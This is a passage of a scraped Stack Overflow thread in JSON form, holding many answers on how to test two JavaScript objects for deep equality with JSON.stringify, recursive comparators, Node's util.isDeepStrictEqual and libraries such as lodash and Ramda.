lang-js prettyprint-override\"><code>var object1 = {\r\n key: \"value\"\r\n};\r\n\r\nvar object2 = {\r\n key: \"value\"\r\n};\r\n\r\nvar object3 = {\r\n key: \"no value\"\r\n};\r\n\r\nconsole.log('object1 and object2 are equal: ', JSON.stringify(object1) === JSON.stringify(object2));\r\n\r\nconsole.log('object2 and object3 are equal: ', JSON.stringify(object2) === JSON.stringify(object3));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 52347860, "author": "Ndifreke", "author_id": 9179454, "author_profile": "https://Stackoverflow.com/users/9179454", "pm_score": 0, "selected": false, "text": "<p>Depending. If the order of keys in the object are not of importance, and I don't need to know the prototypes of the said object. Using always do the job.</p>\n\n<pre><code>const object = {};\nJSON.stringify(object) === \"{}\" will pass but {} === \"{}\" will not\n</code></pre>\n" }, { "answer_id": 52613946, "author": "Oliver Dixon", "author_id": 1134192, "author_profile": "https://Stackoverflow.com/users/1134192", "pm_score": 2, "selected": false, "text": "<p>I see spaghetti code answers.\nWithout using any third party libs, this is very easy.</p>\n\n<p>Firstly sort the two objects by key their key names.</p>\n\n<pre><code>let objectOne = { hey, you }\nlet objectTwo = { you, hey }\n\n// If you really wanted you could make this recursive for deep sort.\nconst sortObjectByKeyname = (objectToSort) =&gt; {\n return Object.keys(objectToSort).sort().reduce((r, k) =&gt; (r[k] = objectToSort[k], r), {});\n}\n\nlet objectOne = sortObjectByKeyname(objectOne)\nlet objectTwo = sortObjectByKeyname(objectTwo)\n</code></pre>\n\n<p>Then simply use a string to compare them.</p>\n\n<pre><code>JSON.stringify(objectOne) === JSON.stringify(objectTwo)\n</code></pre>\n" }, { "answer_id": 53458226, "author": "chandan gupta", "author_id": 8869104, "author_profile": "https://Stackoverflow.com/users/8869104", "pm_score": -1, "selected": false, "text": "<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> let user1 = {\r\n name: \"John\",\r\n address: {\r\n line1: \"55 Green Park Road\",\r\n line2: {\r\n a:[1,2,3]\r\n } \r\n },\r\n email:null\r\n }\r\n \r\n let user2 = {\r\n name: \"John\",\r\n address: {\r\n line1: \"55 Green Park Road\",\r\n line2: {\r\n a:[1,2,3]\r\n } \r\n },\r\n email:null\r\n }\r\n \r\n // Method 1\r\n \r\n function isEqual(a, b) {\r\n return JSON.stringify(a) === JSON.stringify(b);\r\n }\r\n \r\n // Method 2\r\n \r\n function isEqual(a, b) {\r\n // checking type of a And b\r\n if(typeof a !== 'object' || typeof b !== 'object') {\r\n return false;\r\n }\r\n \r\n // Both are NULL\r\n if(!a &amp;&amp; !b ) {\r\n return true;\r\n } else if(!a || !b) {\r\n return false;\r\n }\r\n \r\n let keysA = Object.keys(a);\r\n let keysB = Object.keys(b);\r\n if(keysA.length !== keysB.length) {\r\n return false;\r\n }\r\n for(let key in a) {\r\n if(!(key in b)) {\r\n return false;\r\n }\r\n \r\n if(typeof a[key] === 'object') {\r\n if(!isEqual(a[key], b[key]))\r\n {\r\n return false;\r\n }\r\n } else {\r\n if(a[key] !== b[key]) {\r\n return false;\r\n }\r\n }\r\n }\r\n \r\n return true;\r\n }\r\n\r\n\r\n\r\nconsole.log(isEqual(user1,user2));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 54313588, "author": "Vaelin", "author_id": 9641939, "author_profile": "https://Stackoverflow.com/users/9641939", "pm_score": 5, "selected": false, "text": "<p>For those of you using Node, there is a convenient method called <code>isDeepStrictEqual</code> on the native <code>util</code> library that can achieve this.</p>\n<pre class=\"lang-js prettyprint-override\"><code>const util = require('util');\n\nconst obj1 = {\n foo: &quot;bar&quot;,\n baz: [1, 2]\n};\n\nconst obj2 = {\n foo: &quot;bar&quot;,\n baz: [1, 2]\n};\n\n\nobj1 == obj2 // false\nutil.isDeepStrictEqual(obj1, obj2) // true\n\n</code></pre>\n<p><a href=\"https://nodejs.org/api/util.html#util_util_isdeepstrictequal_val1_val2\" rel=\"nofollow noreferrer\">https://nodejs.org/api/util.html#util_util_isdeepstrictequal_val1_val2</a></p>\n" }, { "answer_id": 55874576, "author": "mojtaba ramezani", "author_id": 8217454, "author_profile": "https://Stackoverflow.com/users/8217454", "pm_score": -1, "selected": false, "text": "<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function isDeepEqual(obj1, obj2, testPrototypes = false) {\r\n if (obj1 === obj2) {\r\n return true\r\n }\r\n\r\n if (typeof obj1 === \"function\" &amp;&amp; typeof obj2 === \"function\") {\r\n return obj1.toString() === obj2.toString()\r\n }\r\n\r\n if (obj1 instanceof Date &amp;&amp; obj2 instanceof Date) {\r\n return obj1.getTime() === obj2.getTime()\r\n }\r\n\r\n if (\r\n Object.prototype.toString.call(obj1) !==\r\n Object.prototype.toString.call(obj2) ||\r\n typeof obj1 !== \"object\"\r\n ) {\r\n return false\r\n }\r\n\r\n const prototypesAreEqual = testPrototypes\r\n ? isDeepEqual(\r\n Object.getPrototypeOf(obj1),\r\n Object.getPrototypeOf(obj2),\r\n true\r\n )\r\n : true\r\n\r\n const obj1Props = Object.getOwnPropertyNames(obj1)\r\n const obj2Props = Object.getOwnPropertyNames(obj2)\r\n\r\n return (\r\n obj1Props.length === obj2Props.length &amp;&amp;\r\n prototypesAreEqual &amp;&amp;\r\n obj1Props.every(prop =&gt; isDeepEqual(obj1[prop], obj2[prop]))\r\n )\r\n}\r\n\r\nconsole.log(isDeepEqual({key: 'one'}, {key: 'first'}))\r\nconsole.log(isDeepEqual({key: 'one'}, {key: 'one'}))</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 57787274, "author": "JohnPan", "author_id": 2149492, "author_profile": "https://Stackoverflow.com/users/2149492", "pm_score": -1, "selected": false, "text": "<p>This is a classic javascript question! I created a method to check deep object equality with the feature of being able to select properties to ignore from comparison. \nArguments are the two objects to compare, plus, an optional array of stringified property-to-ignore relative path.</p>\n\n<pre><code>function isObjectEqual( o1, o2, ignorePropsArr=[]) {\n // Deep Clone objects\n let _obj1 = JSON.parse(JSON.stringify(o1)),\n _obj2 = JSON.parse(JSON.stringify(o2));\n // Remove props to ignore\n ignorePropsArr.map( p =&gt; { \n eval('_obj1.'+p+' = _obj2.'+p+' = \"IGNORED\"');\n });\n // compare as strings\n let s1 = JSON.stringify(_obj1),\n s2 = JSON.stringify(_obj2);\n // return [s1==s2,s1,s2];\n return s1==s2;\n}\n\n// Objects 0 and 1 are exact equals\nobj0 = { price: 66544.10, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj1 = { price: 66544.10, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj2 = { price: 66544.12, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj3 = { price: 66544.13, RSIs: [0.000432334, 0.00046531], candles: {A: 541, B: 321, C: 4322}}\nobj4 = { price: 66544.14, RSIs: [0.000432334, 0.00046530], candles: {A: 543, B: 321, C: 4322}}\n\nisObjectEqual(obj0,obj1) // true\nisObjectEqual(obj0,obj2) // false\nisObjectEqual(obj0,obj2,['price']) // true\nisObjectEqual(obj0,obj3,['price']) // false\nisObjectEqual(obj0,obj3,['price','candles.A']) // true\nisObjectEqual(obj0,obj4,['price','RSIs[1]']) // true\n</code></pre>\n" }, { "answer_id": 57858786, "author": "Dude", "author_id": 6683503, "author_profile": "https://Stackoverflow.com/users/6683503", "pm_score": 0, "selected": false, "text": "<p>This is a simple Javascript function to compare two objects having simple key-value pairs. The function will return an array of strings, where each string is a path to an inequality between the two objects.</p>\n\n<pre><code>function compare(a,b) {\n var paths = [];\n [...new Set(Object.keys(a).concat(Object.keys(b)))].forEach(key=&gt;{\n if(typeof a[key] === 'object' &amp;&amp; typeof b[key] === 'object') {\n var results = compare(a[key], b[key]);\n if(JSON.stringify(results)!=='[]') {\n paths.push(...results.map(result=&gt;key.concat(\"=&gt;\"+result)));\n }\n }\n else if (a[key]!==b[key]) {\n paths.push(key);\n }\n })\n return paths;\n}\n</code></pre>\n\n<p>If you only want to compare two objects without knowing the paths to inequalities, you can do it as follows:</p>\n\n<pre><code>if(JSON.stringify(compare(object1, object2))==='[]') {\n // the two objects are equal\n} else {\n // the two objects are not equal\n}\n</code></pre>\n" }, { "answer_id": 58084885, "author": "Adriano Spadoni", "author_id": 1955088, "author_profile": "https://Stackoverflow.com/users/1955088", "pm_score": 3, "selected": false, "text": "<p><strong>ES6:</strong> The minimum code I could get it done, is this. It do deep comparison recursively by stringifying all key value array sorted representing the object, the only limitation is no methods or symbols are compare.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const compareObjects = (a, b) =&gt; { \n let s = (o) =&gt; Object.entries(o).sort().map(i =&gt; { \n if(i[1] instanceof Object) i[1] = s(i[1]);\n return i \n }) \n return JSON.stringify(s(a)) === JSON.stringify(s(b))\n}\n\nconsole.log(compareObjects({b:4,a:{b:1}}, {a:{b:1},b:4}));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><strong>IMPORTANT:</strong> This function is doing a JSON.stringfy in an <strong>ARRAY</strong> with the keys sorted and <strong>NOT</strong> in the object it self:</p>\n<ol>\n<li>[&quot;a&quot;, [&quot;b&quot;, 1]]</li>\n<li>[&quot;b&quot;, 4]</li>\n</ol>\n" }, { "answer_id": 58236420, "author": "user3143487", "author_id": 3143487, "author_profile": "https://Stackoverflow.com/users/3143487", "pm_score": -1, "selected": false, "text": "<pre><code>const one={name:'mohit' , age:30};\n//const two ={name:'mohit',age:30};\nconst two ={age:30,name:'mohit'};\n\nfunction isEquivalent(a, b) {\n// Create arrays of property names\nvar aProps = Object.getOwnPropertyNames(a);\nvar bProps = Object.getOwnPropertyNames(b);\n\n\n\n// If number of properties is different,\n// objects are not equivalent\nif (aProps.length != bProps.length) {\n return false;\n}\n\nfor (var i = 0; i &lt; aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal,\n // objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n}\n\n// If we made it this far, objects\n// are considered equivalent\nreturn true;\n}\n\nconsole.log(isEquivalent(one,two))\n</code></pre>\n" }, { "answer_id": 58253440, "author": "Pak Ho Cheung", "author_id": 5737856, "author_profile": "https://Stackoverflow.com/users/5737856", "pm_score": 0, "selected": false, "text": "<ol>\n<li>sort the objects (dictionary)</li>\n<li><p>compare JSON string</p>\n\n<pre><code>function areTwoDictsEqual(dictA, dictB) {\n function sortDict(dict) {\n var keys = Object.keys(dict);\n keys.sort();\n\n var newDict = {};\n for (var i=0; i&lt;keys.length; i++) {\n var key = keys[i];\n var value = dict[key];\n newDict[key] = value;\n } \n return newDict;\n }\n\n return JSON.stringify(sortDict(dictA)) == JSON.stringify(sortDict(dictB));\n}\n</code></pre></li>\n</ol>\n" }, { "answer_id": 58690747, "author": "Nibras", "author_id": 5477211, "author_profile": "https://Stackoverflow.com/users/5477211", "pm_score": 1, "selected": false, "text": "<p>After so much of searches, i have found following working solution</p>\n\n<pre><code>function isEquivalent(a, b) {\n // Create arrays of property names\n var aProps = Object.getOwnPropertyNames(a);\n var bProps = Object.getOwnPropertyNames(b);\n\n // If number of properties is different, objects are not equivalent\n if (aProps.length != bProps.length) {\n return false;\n }\n\n for (var i = 0; i &lt; aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal, objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n }\n\n// If we made it this far, objects are considered equivalent\nreturn true; }\n</code></pre>\n\n<p>For more info: <a href=\"http://adripofjavascript.com/blog/drips/object-equality-in-javascript.html\" rel=\"nofollow noreferrer\">Object Equality in JavaScript</a></p>\n" }, { "answer_id": 59025876, "author": "Apaar Bhatnagar", "author_id": 5067785, "author_profile": "https://Stackoverflow.com/users/5067785", "pm_score": -1, "selected": false, "text": "<p>Though there are so many answers to this question already. My attempt is just to provide one more way of implementing this:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const primitveDataTypes = ['number', 'boolean', 'string', 'undefined'];\r\nconst isDateOrRegExp = (value) =&gt; value instanceof Date || value instanceof RegExp;\r\nconst compare = (first, second) =&gt; {\r\n let agg = true;\r\n if(typeof first === typeof second &amp;&amp; primitveDataTypes.indexOf(typeof first) !== -1 &amp;&amp; first !== second){\r\n agg = false;\r\n }\r\n // adding support for Date and RegExp.\r\n else if(isDateOrRegExp(first) || isDateOrRegExp(second)){\r\n if(first.toString() !== second.toString()){\r\n agg = false;\r\n }\r\n }\r\n else {\r\n if(Array.isArray(first) &amp;&amp; Array.isArray(second)){\r\n if(first.length === second.length){\r\n for(let i = 0; i &lt; first.length; i++){\r\n if(typeof first[i] === 'object' &amp;&amp; typeof second[i] === 'object'){\r\n agg = compare(first[i], second[i]);\r\n }\r\n else if(first[i] !== second[i]){\r\n agg = false;\r\n }\r\n }\r\n } else {\r\n agg = false;\r\n }\r\n } else {\r\n const firstKeys = Object.keys(first);\r\n const secondKeys = Object.keys(second);\r\n if(firstKeys.length !== secondKeys.length){\r\n agg = false;\r\n }\r\n for(let j = 0 ; j &lt; firstKeys.length; j++){\r\n if(firstKeys[j] !== secondKeys[j]){\r\n agg = false;\r\n }\r\n if(first[firstKeys[j]] &amp;&amp; second[secondKeys[j]] &amp;&amp; typeof first[firstKeys[j]] === 'object' &amp;&amp; typeof second[secondKeys[j]] === 'object'){\r\n agg = compare(first[firstKeys[j]], second[secondKeys[j]]);\r\n } \r\n else if(first[firstKeys[j]] !== second[secondKeys[j]]){\r\n agg = false;\r\n } \r\n }\r\n }\r\n }\r\n return agg;\r\n}\r\n\r\n\r\nconsole.log('result', compare({a: 1, b: { c: [4, {d:5}, {e:6}]}, r: null}, {a: 1, b: { c: [4, {d:5}, {e:6}]}, r: 'ffd'})); //returns false.</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 61142767, "author": "Aqeel Bahoo", "author_id": 10117638, "author_profile": "https://Stackoverflow.com/users/10117638", "pm_score": 4, "selected": false, "text": "<pre><code>var object1 = {name: \"humza\" , gender : \"male\", age: 23}\nvar object2 = {name: \"humza\" , gender : \"male\", age: 23}\nvar result = Object.keys(object1).every((key) =&gt; object1[key] === object2[key])\n</code></pre>\n\n<p>Result will be <strong>true</strong> if object1 has same values on object2.</p>\n" }, { "answer_id": 61389776, "author": "Sergiy Seletskyy", "author_id": 781048, "author_profile": "https://Stackoverflow.com/users/781048", "pm_score": 2, "selected": false, "text": "<p>How to determine that the partial object (Partial&lt;T&gt;) is equal to the original object (T) in typescript.</p>\n\n<pre><code>function compareTwoObjects&lt;T&gt;(original: T, partial: Partial&lt;T&gt;): boolean {\n return !Object.keys(partial).some((key) =&gt; partial[key] !== original[key]);\n}\n\n</code></pre>\n\n<p>P.S. Initially I was planning to create a new question with an answer. But such a question already exists and marked as a duplicate.</p>\n" }, { "answer_id": 62202820, "author": "Stan Hurks", "author_id": 5644723, "author_profile": "https://Stackoverflow.com/users/5644723", "pm_score": 1, "selected": false, "text": "<p>I just wrote this method just to be sure that arrays and objects are both compared in a clear way.</p>\n\n<p>This should do the trick as well! :)</p>\n\n<pre><code>public class Objects {\n /**\n * Checks whether a value is of type Object\n * @param value the value\n */\n public static isObject = (value: any): boolean =&gt; {\n return value === Object(value) &amp;&amp; Object.prototype.toString.call(value) !== '[object Array]'\n }\n\n /**\n * Checks whether a value is of type Array\n * @param value the value\n */\n public static isArray = (value: any): boolean =&gt; {\n return Object.prototype.toString.call(value) === '[object Array]' &amp;&amp; !Objects.isObject(value)\n }\n\n /**\n * Check whether two values are equal\n */\n public static isEqual = (objectA: any, objectB: any) =&gt; {\n // Objects\n if (Objects.isObject(objectA) &amp;&amp; !Objects.isObject(objectB)) {\n return false\n }\n else if (!Objects.isObject(objectA) &amp;&amp; Objects.isObject(objectB)) {\n return false\n }\n // Arrays\n else if (Objects.isArray(objectA) &amp;&amp; !Objects.isArray(objectB)) {\n return false\n }\n else if (!Objects.isArray(objectA) &amp;&amp; Objects.isArray(objectB)) {\n return false\n }\n // Primitives\n else if (!Objects.isArray(objectA) &amp;&amp; !Objects.isObject(objectA)) {\n return objectA === objectB\n }\n // Object or array\n else {\n const compareObject = (objectA: any, objectB: any): boolean =&gt; {\n if (Object.keys(objectA).length !== Object.keys(objectB).length) return false\n\n for (const propertyName of Object.keys(objectA)) {\n const valueA = objectA[propertyName]\n const valueB = objectB[propertyName]\n\n if (!Objects.isEqual(valueA, valueB)) {\n return false\n }\n }\n\n return true\n }\n const compareArray = (arrayA: any[], arrayB: any[]): boolean =&gt; {\n if (arrayA.length !== arrayB.length) return false\n\n for (const index in arrayA) {\n const valueA = arrayA[index]\n const valueB = arrayB[index]\n\n if (!Objects.isEqual(valueA, valueB)) {\n return false\n }\n }\n\n return true\n }\n if (Objects.isObject(objectA)) {\n return compareObject(objectA, objectB)\n } else {\n return compareArray(objectA, objectB)\n }\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 63496057, "author": "Aidin", "author_id": 2321594, "author_profile": "https://Stackoverflow.com/users/2321594", "pm_score": 5, "selected": false, "text": "<p>This question has more than 30 answers already. I am going to summarize and explain them (with a &quot;my father&quot; analogy) and add my suggested solution.</p>\n<p>You have <strong>4+1 classes of solutions</strong>:</p>\n<hr />\n<h1>1) Use a hacky incomplete quick one-liner</h1>\n<p><strong>Good if you are in a rush and 99% correctness works.</strong></p>\n<p>Examples of this is, <code>JSON.stringify()</code> suggested <a href=\"https://stackoverflow.com/a/46645497/2321594\">by Pratik Bhalodiya</a>, or <code>JSON.encode</code> <a href=\"https://stackoverflow.com/a/201305/2321594\">by Joel Anair</a>, or <code>.toString()</code>, or other methods that transform your objects into a String and then compare the two Strings using <code>===</code> character by character.</p>\n<p>The drawback, however, is that there is no globally standard unique representation of an Object in String. e.g. <code>{ a: 5, b: 8}</code> and <code>{b: 8 and a: 5 }</code> are equal.</p>\n<ul>\n<li><strong>Pros:</strong> Fast, quick.</li>\n<li><strong>Cons:</strong> <em>Hopefully</em> works! <strong>It will not work if the environment/browser/engine memorizes the ordering for objects (e.g. Chrome/V8) and the order of the keys are different</strong> (Thanks to <a href=\"https://stackoverflow.com/users/1712332/eksapsy\">Eksapsy</a>.) So, not guaranteed at all. Performance wouldn't be great either in large objects.</li>\n</ul>\n<h3>My Father Analogy</h3>\n<p>When I am talking about my father, &quot;<strong>my tall handsome father</strong>&quot; and &quot;<strong>my handsome tall father</strong>&quot; are the same person! But the two strings are not the same.</p>\n<p>Note that there is actually a <strong>correct (standard way) order</strong> of adjectives in English grammar, which <a href=\"https://preply.com/en/blog/2014/02/18/the-correct-order-of-adjectives-in-english-rules-and-examples/#scroll-to-heading-1\" rel=\"noreferrer\">says</a> it should be a &quot;handsome tall man,&quot; but you are risking your competency if you blindly assume Javascript engine of iOS 8 Safari is also abiding the same grammar, blindly! #WelcomeToJavascriptNonStandards</p>\n<hr />\n<h1>2) Write your own DIY recursive function</h1>\n<p><strong>Good if you are learning.</strong></p>\n<p>Examples are <a href=\"https://stackoverflow.com/a/32922084/2321594\">atmin's solution</a>.</p>\n<p>The biggest disadvantage is you will definitely miss some edge cases. Have you considered a <a href=\"https://stackoverflow.com/a/2787309/2321594\">self-reference</a> in object values? Have you considered <code>NaN</code>? Have you considered two objects that have the same <code>ownProperties</code> but different prototypical parents?</p>\n<p>I would only encourage people to do this if they are practicing and the code is not going to go in production. That's the only case that <em>reinventing the wheel</em> has justifications.</p>\n<ul>\n<li><strong>Pros:</strong> Learning opportunity.</li>\n<li><strong>Cons:</strong> Not reliable. Takes time and concerns.</li>\n</ul>\n<h3>My Father Analogy</h3>\n<p>It's like assuming if my dad's name is &quot;John Smith&quot; and his birthday is &quot;1/1/1970&quot;, then anyone whose name is &quot;John Smith&quot; and is born on &quot;1/1/1970&quot; is my father.</p>\n<p>That's usually the case, but what if there are two &quot;John Smith&quot;s born on that day? If you think you will consider their height, then that's increasing the accuracy but still not a perfect comparison.</p>\n<h2>2.1 You limited scope DIY comparator</h2>\n<p>Rather than going on a wild chase of checking all the properties recursively, one might consider checking only &quot;a limited&quot; number of properties. For instance, if the objects are <code>User</code>s, you can compare their <code>emailAddress</code> field.</p>\n<p>It's still not a perfect one, but the benefits over solution #2 are:</p>\n<ol>\n<li>It's predictable, and it's less likely to crash.</li>\n<li>You are driving the &quot;definition&quot; of equality, rather than relying on a wild form and shape of the Object and its prototype and nested properties.</li>\n</ol>\n<hr />\n<h1>3) Use a library version of <code>equal</code> function</h1>\n<p><strong>Good if you need a production-level quality, and you cannot change the design of the system.</strong></p>\n<p>Examples are <code>_.equal</code> <a href=\"https://lodash.com/docs/4.17.15#isEqual\" rel=\"noreferrer\">of lodash</a>, already in <a href=\"https://stackoverflow.com/a/3198202/2321594\">coolaj86's answer</a> or Angular's or Ember's as mentioned in <a href=\"https://stackoverflow.com/a/19055489/2321594\">Tony Harvey's answer</a> or Node's <a href=\"https://stackoverflow.com/a/26016880/2321594\">by Rafael Xavier</a>.</p>\n<ul>\n<li><strong>Pros:</strong> It's what everyone else does.</li>\n<li><strong>Cons:</strong> External dependency, which can cost you extra memory/CPU/Security concerns, even a little bit. Also, can still miss some edge cases (e.g. whether two objects having same <code>ownProperties</code> but different prototypical parents should be considered the same or not.) Finally, <strong>you <em>might</em> be unintentionally band-aiding an underlying design problem with this; just saying!</strong></li>\n</ul>\n<h3>My Father Analogy</h3>\n<p>It's like paying an agency to find my biological father, based on his phone, name, address, etc.</p>\n<p>It's gonna cost more, and it's probably more accurate than myself running the background check, but doesn't cover edge cases like when my father is immigrant/asylum and his birthday is unknown!</p>\n<hr />\n<h1>4) Use an IDentifier in the Object</h1>\n<p><strong>Good if you [still] can change the design of the system (objects you are dealing with) and you want your code to last long.</strong></p>\n<p>It's not applicable in all cases, and might not be very performant. However, it's a very reliable solution, if you can make it.</p>\n<p>The solution is, every <code>object</code> in the system will have a <strong>unique</strong> identifier along with all the other properties. The <em>uniqueness</em> of the identifier will be guaranteed at the time of generation. And you will use this ID (also known as UUID/GUID -- <a href=\"https://en.wikipedia.org/wiki/Universally_unique_identifier\" rel=\"noreferrer\">Globally/Universally Unique Identifier</a>) when it comes to comparing two objects. i.e. They are equal if and only if these IDs are equal.</p>\n<p>The IDs can be simple <code>auto_incremental</code> numbers, or a string generated via <a href=\"https://www.npmjs.com/package/uuid\" rel=\"noreferrer\">a library</a> (advised) or <a href=\"https://stackoverflow.com/questions/105034/how-to-create-guid-uuid\">a piece of code</a>. All you need to do is make sure it's always unique, which in case of <code>auto_incremental</code> it can be built-in, or in case of UUID, can be checked will all existing values (e.g. MySQL's <code>UNIQUE</code> column attribute) or simply (if coming from a library) be relied upon giving the extremely low likelihood of a collision.</p>\n<p>Note that you also need to store the ID with the object at all times (to guarantee its uniqueness), and computing it in real-time might not be the best approach.</p>\n<ul>\n<li><strong>Pros:</strong> Reliable, efficient, not dirty, modern.</li>\n<li><strong>Cons:</strong> Needs extra space. Might need a redesign of the system.</li>\n</ul>\n<h3>My Father Analogy</h3>\n<p>It's like known my father's Social Security Number is 911-345-9283, so anyone who has this SSN is my father, and anyone who claims to be my father must have this SSN.</p>\n<hr />\n<h1>Conclusion</h1>\n<p>I personally prefer solution #4 (ID) over them all for accuracy and reliability. If it's not possible I'd go with #2.1 for predictability, and then #3. If neither is possible, #2 and finally #1.</p>\n" }, { "answer_id": 64987759, "author": "Jose Rojas", "author_id": 3397552, "author_profile": "https://Stackoverflow.com/users/3397552", "pm_score": 0, "selected": false, "text": "<p>One additional option, is use <code>equals</code> of <a href=\"https://ramdajs.com/docs/#equals\" rel=\"nofollow noreferrer\">Ramda library</a>:</p>\n<pre><code>const c = {a: 1, b: 2};\nconst d = {b: 2, a: 1};\nR.equals(c, d); //=&gt; true\n</code></pre>\n" }, { "answer_id": 66187548, "author": "Asking", "author_id": 12540500, "author_profile": "https://Stackoverflow.com/users/12540500", "pm_score": 0, "selected": false, "text": "<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const obj = {\n name: \"Carl\",\n age: 15\n}\nconst obj2 = {\n name: \"Carl\",\n age: 15,\n}\n\n\nconst compareObj = (objects) =&gt; {\n const res = objects.map((item) =&gt; {\n return Object.entries(item).flat().join()\n })\n return res.every((a) =&gt; {\n return a === res[0]\n })\n}\n\nconsole.log(compareObj([obj,obj2]))</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 66627927, "author": "Flash Noob", "author_id": 12106367, "author_profile": "https://Stackoverflow.com/users/12106367", "pm_score": 0, "selected": false, "text": "<p>if u really want to compare and return difference from the two objects.\nyou can use this package: <a href=\"https://www.npmjs.com/package/deep-diff\" rel=\"nofollow noreferrer\">https://www.npmjs.com/package/deep-diff</a></p>\n<p>or just use the code this package used</p>\n<p><a href=\"https://github.com/flitbit/diff/blob/master/index.js\" rel=\"nofollow noreferrer\">https://github.com/flitbit/diff/blob/master/index.js</a></p>\n<p><strong>just don't convert it into string to compare.</strong></p>\n" }, { "answer_id": 66707009, "author": "Tolumide", "author_id": 9347459, "author_profile": "https://Stackoverflow.com/users/9347459", "pm_score": 2, "selected": false, "text": "<p>Here is a solution using ES6+</p>\n<pre><code>// this comparison would not work for function and symbol comparisons\n// this would only work best for compared objects that do not belong to same address in memory\n// Returns true if there is no difference, and false otherwise\n\n\nexport const isObjSame = (obj1, obj2) =&gt; {\n if (typeof obj1 !== &quot;object&quot; &amp;&amp; obj1 !== obj2) {\n return false;\n }\n\n if (typeof obj1 !== &quot;object&quot; &amp;&amp; typeof obj2 !== &quot;object&quot; &amp;&amp; obj1 === obj2) {\n return true;\n }\n\n if (typeof obj1 === &quot;object&quot; &amp;&amp; typeof obj2 === &quot;object&quot;) {\n if (Array.isArray(obj1) &amp;&amp; Array.isArray(obj2)) {\n if (obj1.length === obj2.length) {\n if (obj1.length === 0) {\n return true;\n }\n const firstElemType = typeof obj1[0];\n\n if (typeof firstElemType !== &quot;object&quot;) {\n const confirmSameType = currentType =&gt;\n typeof currentType === firstElemType;\n\n const checkObjOne = obj1.every(confirmSameType);\n const checkObjTwo = obj2.every(confirmSameType);\n\n if (checkObjOne &amp;&amp; checkObjTwo) {\n // they are primitves, we can therefore sort before and compare by index\n // use number sort\n // use alphabet sort\n // use regular sort\n if (firstElemType === &quot;string&quot;) {\n obj1.sort((a, b) =&gt; a.localeCompare(b));\n obj2.sort((a, b) =&gt; a.localeCompare(b));\n }\n obj1.sort((a, b) =&gt; a - b);\n obj2.sort((a, b) =&gt; a - b);\n\n let equal = true;\n\n obj1.map((element, index) =&gt; {\n if (!isObjSame(element, obj2[index])) {\n equal = false;\n }\n });\n\n return equal;\n }\n\n if (\n (checkObjOne &amp;&amp; !checkObjTwo) ||\n (!checkObjOne &amp;&amp; checkObjTwo)\n ) {\n return false;\n }\n\n if (!checkObjOne &amp;&amp; !checkObjTwo) {\n for (let i = 0; i &lt;= obj1.length; i++) {\n const compareIt = isObjSame(obj1[i], obj2[i]);\n if (!compareIt) {\n return false;\n }\n }\n\n return true;\n }\n\n // if()\n }\n const newValue = isObjSame(obj1, obj2);\n return newValue;\n } else {\n return false;\n }\n }\n\n if (!Array.isArray(obj1) &amp;&amp; !Array.isArray(obj2)) {\n let equal = true;\n if (obj1 &amp;&amp; obj2) {\n const allKeys1 = Array.from(Object.keys(obj1));\n const allKeys2 = Array.from(Object.keys(obj2));\n\n if (allKeys1.length === allKeys2.length) {\n allKeys1.sort((a, b) =&gt; a - b);\n allKeys2.sort((a, b) =&gt; a - b);\n\n allKeys1.map((key, index) =&gt; {\n if (\n key.toLowerCase() !== allKeys2[index].toLowerCase()\n ) {\n equal = false;\n return;\n }\n\n const confirmEquality = isObjSame(obj1[key], obj2[key]);\n\n if (!confirmEquality) {\n equal = confirmEquality;\n return;\n }\n });\n }\n }\n\n return equal;\n\n // return false;\n }\n }\n};\n</code></pre>\n" }, { "answer_id": 67130689, "author": "Paul", "author_id": 2604492, "author_profile": "https://Stackoverflow.com/users/2604492", "pm_score": 3, "selected": false, "text": "<p>Below is a short implementation which uses <code>JSON.stringify</code> but sorts the keys as @Jor suggested <a href=\"https://stackoverflow.com/a/53593328/2604492\">here</a>.</p>\n<p>Some tests were taken from the answer of @EbrahimByagowi <a href=\"https://stackoverflow.com/a/16788517/2604492\">here</a>.</p>\n<p>Of course, by using <code>JSON.stringify</code>, the solution is limited to JSON-serializable types (a string, a number, a JSON object, an array, a boolean, null). Objects like <code>Date</code>, <code>Function</code>, etc. are not supported.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function objectEquals(obj1, obj2) {\n const JSONstringifyOrder = obj =&gt; {\n const keys = {};\n JSON.stringify(obj, (key, value) =&gt; {\n keys[key] = null;\n return value;\n });\n return JSON.stringify(obj, Object.keys(keys).sort());\n };\n return JSONstringifyOrder(obj1) === 